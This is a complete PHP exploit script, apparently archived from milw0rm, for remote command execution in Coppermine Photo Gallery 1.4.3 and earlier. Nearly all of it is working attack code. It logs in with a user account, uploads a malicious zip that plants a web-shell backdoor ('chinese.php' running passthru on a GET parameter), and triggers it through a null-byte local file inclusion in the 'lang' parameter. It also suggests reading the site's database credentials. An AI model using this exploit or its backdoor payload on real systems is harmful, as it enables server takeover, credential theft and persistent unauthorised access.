<?php # ---cpg_143_incl_xpl.php 15.38 04/12/2005 # # # # Coppermine Photo Gallery <= 1.4.3 remote commands execution # # coded by rgod # # site: http://retrogod.altervista.org # # # # -> this works regardless of any php.ini settings, you need a normal user # # account with upload rights in personal albums and at least one album # # # # usage: launch from Apache, fill in requested fields, then go! # # # # Sun-Tzu: "The direct and the indirect lead on to each other in turn. It is # # like moving in a circle--you never come to an end. Who can exhaust the # # possibilities of their combination?" # /* a short explaination: arbitrary local inclusion issue in "lang" argument in init.inc.php , ex.: http://[target]/[path]/thumbnails.php?lang=../album/userpics/10002/shell.zip%00 (by a null char, regardless of magic_quotes_gpc settings, because of Coppermine magic quotes disable code) we need to upload a malicious .zip file with php code inside in a personal album folder (no check on file contempt) and to include it (cycling inside folders we will search for it - a subfolder is created in album/userpics/ dir, it is numbered like this: 10000 + db userid). We don't see any ouput including it, so the .zip file install a backdoor called chinese.php inside Coppermine lang/ dir. Modify the .zip file code if you need. After first run, if succeeded, you can launch commands manually: http://[target]/[path]/lang/chinese.php?suntzu=netstat%20-ano however script checks if new "chinese language file" is already installed */ error_reporting(0); ini_set("max_execution_time",0); ini_set("default_socket_timeout",5); ob_implicit_flush (1); echo'<html><head><title>**Coppermine Photo Gallery <= 1.4.3 remote cmmnds xctn** </title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <style type="text/css"> body {background-color:#111111; SCROLLBAR-ARROW-COLOR: #ffffff; SCROLLBAR-BASE-COLOR: black; CURSOR: crosshair; color: #1CB081; } img {background-color: #FFFFFF !important} input {background-color: #303030 !important} option { background-color: #303030 !important} textarea {background-color: #303030 !important} input {color: #1CB081 !important} option {color: #1CB081 !important} textarea {color: #1CB081 !important} checkbox {background-color: #303030 !important} select {font-weight: normal; color: #1CB081; background-color: #303030;} body {font-size: 8pt !important; background-color: #111111; body * {font-size: 8pt !important} h1 {font-size: 0.8em !important} h2 {font-size: 0.8em !important} h3 {font-size: 0.8em !important} h4,h5,h6 {font-size: 0.8em !important} h1 font {font-size: 0.8em !important} h2 font {font-size: 0.8em !important}h3 font {font-size: 0.8em !important} h4 font,h5 font,h6 font {font-size: 0.8em !important} * {font-style: normal !important} *{text-decoration: none !important} a:link,a:active,a:visited { text-decoration: none ; color : #99aa33; } a:hover{text-decoration: underline; color : #999933; } .Stile5 {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica, sans-serif; font-weight:bold; font-style: italic;}--></style></head><body><p class="Stile6"> **Coppermine Photo Gallery <= 1.4.3 remote cmmnds xctn** </p><p class="Stile6">a script by rgod at <a href="http://retrogod.altervista.org"target="_blank"> http://retrogod.altervista.org</a></p><table width="84%"><tr><td width="43%"> <form name="form1" method="post" action="'.$_SERVER[PHP_SELF].'"> <p><input type="text" name="host"> <span class="Stile5">* target (ex:www.sitename.com) </span></p> <p><input type="text" name="path"> <span class="Stile5">* path (ex: /coppermine/ or just / ) </span></p><p><input type="text" name="cmd"> <span class="Stile5">* specify a command ("cat ./../include/config.inc.php" to see dat abase username & password...)</span></p><p><input type="text" name="USER"><span class="Stile5"> a valid USER with upload rights in personal album folder </span> </p><p> <input type="text" name="PASS"> <span class="Stile5"> ... and PASSWOR D, required for STEP 1 and following... </span> </p> <p> <input type="text" name="port"><span class="Stile5">specify a port other than 80 (default value) </span></p><p><input type="text" name="proxy"><span class="Stile5">send exploit through an HTTP proxy (ip:port)</span></p><p> <input type="submit" name="Submit" value="go!"></p></form></td></tr></table></body></html>'; function show($headeri) { $ii=0;$ji=0;$ki=0;$ci=0; echo '<table border="0"><tr>'; while ($ii <= strlen($headeri)-1){ $datai=dechex(ord($headeri[$ii])); if ($ji==16) { $ji=0; $ci++; echo "<td> </td>"; for ($li=0; $li<=15; $li++) { echo "<td>".htmlentities($headeri[$li+$ki])."</td>"; } $ki=$ki+16; echo "</tr><tr>"; } if (strlen($datai)==1) { echo "<td>0".htmlentities($datai)."</td>"; } else { echo "<td>".htmlentities($datai)."</td> "; } $ii++;$ji++; } for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++) { echo "<td>  </td>"; } for ($li=$ci*16; $li<=strlen($headeri); $li++) { echo "<td>".htmlentities($headeri[$li])."</td>"; } echo "</tr></table>"; } $proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)'; function sendpacket() //2x speed { global $proxy, $host, $port, $packet, $html, $proxy_regex; $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); if ($socket < 0) { echo "socket_create() failed: reason: " . socket_strerror($socket) . "<br>"; } else { $c = preg_match($proxy_regex,$proxy); if (!$c) {echo 'Not a valid proxy...'; die; } echo "OK.<br>"; echo "Attempting to connect to ".$host." on port ".$port."...<br>"; if ($proxy=='') { $result = socket_connect($socket, $host, $port); } else { $parts =explode(':',$proxy); echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>'; $result = socket_connect($socket, $parts[0],$parts[1]); } if ($result < 0) { echo "socket_connect() failed.\r\nReason: (".$result.") " . socket_strerror($result) . "<br><br>"; } else { echo "OK.<br><br>"; $html= ''; socket_write($socket, $packet, strlen($packet)); echo "Reading response:<br>"; while ($out= socket_read($socket, 2048)) {$html.=$out;} echo nl2br(htmlentities($html)); echo "Closing socket..."; socket_close($socket); } } } function refresh() { flush(); ob_flush(); usleep(5000000000); } function sendpacketii($packet) { global $proxy, $host, $port, $html, $proxy_regex; if ($proxy=='') { $ock=fsockopen(gethostbyname($host),$port); if (!$ock) { echo 'No response from '.htmlentities($host); die; } } else { $c = preg_match($proxy_regex,$proxy); if (!$c) { echo 'Not a valid prozy...';die; } $parts=explode(':',$proxy); echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>'; $ock=fsockopen($parts[0],$parts[1]); if (!$ock) { echo 'No response from proxy...';die; } } fputs($ock,$packet); if ($proxy=='') { $html=''; while (!feof($ock)) { $html.=fgets($ock); } } else { $html=''; while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { $html.=fread($ock,1); } } fclose($ock);echo nl2br(htmlentities($html)); refresh(); } $host=$_POST[host];$path=$_POST[path]; $port=$_POST[port];$cmd=$_POST[cmd]; $USER=$_POST[USER];$PASS=$_POST[PASS]; $proxy=$_POST[proxy]; echo "<span class=\"Stile5\">"; if (($host<>'') and ($path<>'') and ($cmd<>'')) { $port=intval(trim($port)); if ($port=='') {$port=80;} if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;} $host=str_replace("\r","",$host);$host=str_replace("\n","",$host); $path=str_replace("\r","",$path);$path=str_replace("\n","",$path); if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;} $cmd=urlencode($cmd); #STEP 0 -> Check if backdoor already installed... $packet ="GET ".$p."lang/chinese.php?suntzu=$cmd HTTP/1.1\r\n"; $packet.="Host: $host\r\n"; $packet.="Connection: Close\r\n\r\n"; show($packet); sendpacketii($packet); if (eregi("Hi Master!",$html)) {die("chinese.php already installed...<br> Exploit succeeded...<br>"); } //if you are here if (($USER=='') | ($PASS=='')) {die("chinese.php not installed<br> we need a username and a password<br>");} } if (($host<>'') and ($path<>'') and ($cmd<>'') and ($USER<>'') and ($PASS<>'')) { #STEP 1 -> Login... $data="username=".urlencode($USER)."&password=".urlencode($PASS)."&submitted=Login"; $packet ="POST ".$p."login.php?referer=index.php HTTP/1.1\r\n"; $packet.="Referer: http://".$host.$path."login.php?referer=index.php\r\n"; $packet.="Host: $host\r\n"; $packet."Accept-Language: en\r\n"; $packet.="Content-Type: application/x-www-form-urlencoded\r\n"; $packet.="Content-Length: ".strlen($data)."\r\n"; $packet.="Connection: Close\r\n"; $packet.="Cache-Control: no-cache\r\n\r\n"; $packet.=$data; show($packet); sendpacketii($packet); $temp=explode("Set-Cookie: ",$html); $temp2=explode(" ",$temp[1]); $COOKIE=$temp2[0]; $temp2=explode(" ",$temp[2]); $COOKIE.=" ".str_replace(";","",$temp2[0]); $COOKIE=str_replace("\r","",$COOKIE);$COOKIE=str_replace("\n","",$COOKIE); echo "COOKIE ->".htmlentities($COOKIE)."<BR>"; #STEP 2 -> Upload the malicious zip file... $data='-----------------------------7d613b1d0448 Content-Disposition: form-data; name="file_upload_array[]"; filename="c:\suntzuuuu.zip" Content-Type: application/octet-stream <?php $sun_tzu=fopen("./lang/chinese.php","w"); fputs($sun_tzu,"<?php echo \"Hi Master!\";ini_set(\"max_execution_time\",0);passthru(\$HTTP_GET_VARS[suntzu]);?>"); fclose($sun_tzu); chmod("./lang/chinese.php",777);?> -----------------------------7d613b1d0448 Content-Disposition: form-data; name="file_upload_array[]"; filename="" Content-Type: application/octet-stream -----------------------------7d613b1d0448 Content-Disposition: form-data; name="file_upload_array[]"; filename="" Content-Type: application/octet-stream -----------------------------7d613b1d0448 Content-Disposition: form-data; name="file_upload_array[]"; filename="" Content-Type: application/octet-stream -----------------------------7d613b1d0448 Content-Disposition: form-data; name="file_upload_array[]"; filename="" Content-Type: application/octet-stream -----------------------------7d613b1d0448 Content-Disposition: form-data; name="URI_array[]" -----------------------------7d613b1d0448 Content-Disposition: form-data; name="URI_array[]" -----------------------------7d613b1d0448 Content-Disposition: form-data; name="URI_array[]" -----------------------------7d613b1d0448 Content-Disposition: form-data; name="control" phase_1 -----------------------------7d613b1d0448-- '; $packet ="POST ".$p."upload.php HTTP/1.1\r\n"; $packet.="Referer: http://".$host.$path."upload.php\r\n"; $packet.="Accept-Language: en\r\n"; $packet.="Content-Type: multipart/form-data; boundary=---------------------------7d613b1d0448\r\n"; $packet.="Accept-Encoding: gzip, deflate\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Content-Length: ".strlen($data)."\r\n"; $packet.="Connection: Close\r\n"; $packet.="Cache-Control: no-cache\r\n"; $packet.="Cookie: ".$COOKIE."\r\n\r\n"; $packet.=$data; show($packet); sendpacketii($packet); $temp=explode("unique_ID\" value=\"",$html); $temp2=explode("\"",$temp[1]); $UNIQUE_ID=$temp2[0]; echo "UNIQUE ID ->".htmlentities($UNIQUE_ID)."<BR>"; #STEP 3 -> Select an album... $data='-----------------------------7d6df34d0448 Content-Disposition: form-data; name="unique_ID" '.$UNIQUE_ID.' -----------------------------7d6df34d0448 Content-Disposition: form-data; name="control" phase_2 -----------------------------7d6df34d0448--'; $packet ="POST ".$p."upload.php HTTP/1.1\r\n"; $packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n"; $packet.="Referer: http://".$host.$path."upload.php\r\n"; $packet.="Accept-Language: en\r\n"; $packet.="Content-Type: multipart/form-data; boundary=---------------------------7d6df34d0448\r\n"; $packet.="Accept-Encoding: gzip, deflate\r\n"; $packet.="Host: $host\r\n"; $packet.="Content-Length: ".strlen($data)."\r\n"; $packet.="Connection: Close\r\n"; $packet.="Cache-Control: no-cache\r\n"; $packet.="Cookie: ".$COOKIE."\r\n\r\n"; $packet.=$data; show($packet); sendpacketii($packet); show($html); $junk=chr(0x0a).chr(0x20).chr(0x20).chr(0x20).chr(0x20). chr(0x20).chr(0x20).chr(0x20).chr(0x20).chr(0x20). chr(0x20).chr(0x20).chr(0x20).chr(0x20).chr(0x20). chr(0x20).chr(0x20); $temp=explode("* Personal albums\">$junk<option value=\"",$html); $temp2=explode("\"",$temp[1]); $option=$temp2[0]; if (($option=='') or (strlen($option)>2)) { $option=1;} echo "ALBUM NUMBER ->".htmlentities($option)."<BR>"; #STEP 4 -> Insert .zip file in a valid album... $data='-----------------------------7d628b39d0448 Content-Disposition: form-data; name="album" '.$option.' -----------------------------7d628b39d0448 Content-Disposition: form-data; name="title" -----------------------------7d628b39d0448 Content-Disposition: form-data; name="caption" -----------------------------7d628b39d0448 Content-Disposition: form-data; name="keywords" -----------------------------7d628b39d0448 Content-Disposition: form-data; name="control" phase_2 -----------------------------7d628b39d0448 Content-Disposition: form-data; name="unique_ID" '.$UNIQUE_ID.' -----------------------------7d628b39d0448-- '; $packet="POST ".$p."upload.php HTTP/1.1\r\n"; $packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n"; $packet.="Referer: http://".$host.$path."upload.php\r\n"; $packet.="Accept-Language: en\r\n"; $packet.="Content-Type: multipart/form-data; boundary=---------------------------7d628b39d0448\r\n"; $packet.="Accept-Encoding: gzip, deflate\r\n"; $packet.="Host: $host\r\n"; $packet.="Content-Length: ".strlen($data)."\r\n"; $packet.="Connection: Close\r\n"; $packet.="Cache-Control: no-cache\r\n"; $packet.="Cookie: ".$COOKIE."\r\n\r\n"; $packet.=$data; show($packet); sendpacketii($packet); #STEP 5 -> Include the evil .zip file and launch commands... $anumber=9999; for ($i=0; $i<=200; $i++) { $anumber++; $xpl=urlencode("../albums/userpics/".$anumber."/suntzuuuu.zip".chr(0x00)); $packet ="GET ".$p."thumbnails.php?lang=$xpl HTTP/1.1\r\n"; $packet.="Host: $host\r\n"; $packet.="Connection: Close\r\n\r\n"; show($packet); sendpacketii($packet); $packet ="GET ".$p."lang/chinese.php?suntzu=$cmd HTTP/1.1\r\n"; $packet.="Host: $host\r\n"; $packet.="Connection: Close\r\n\r\n"; show($packet); sendpacketii($packet); if (eregi("Hi Master!",$html)) {die ("Exploit succeeded...<br> you have a shell in http://".htmlentities($host.$path)."/lang/chinese.php<br>");} } //if you are here... echo "Exploit failed..."; } echo "</span>"; ?> # milw0rm.com [2006-02-17]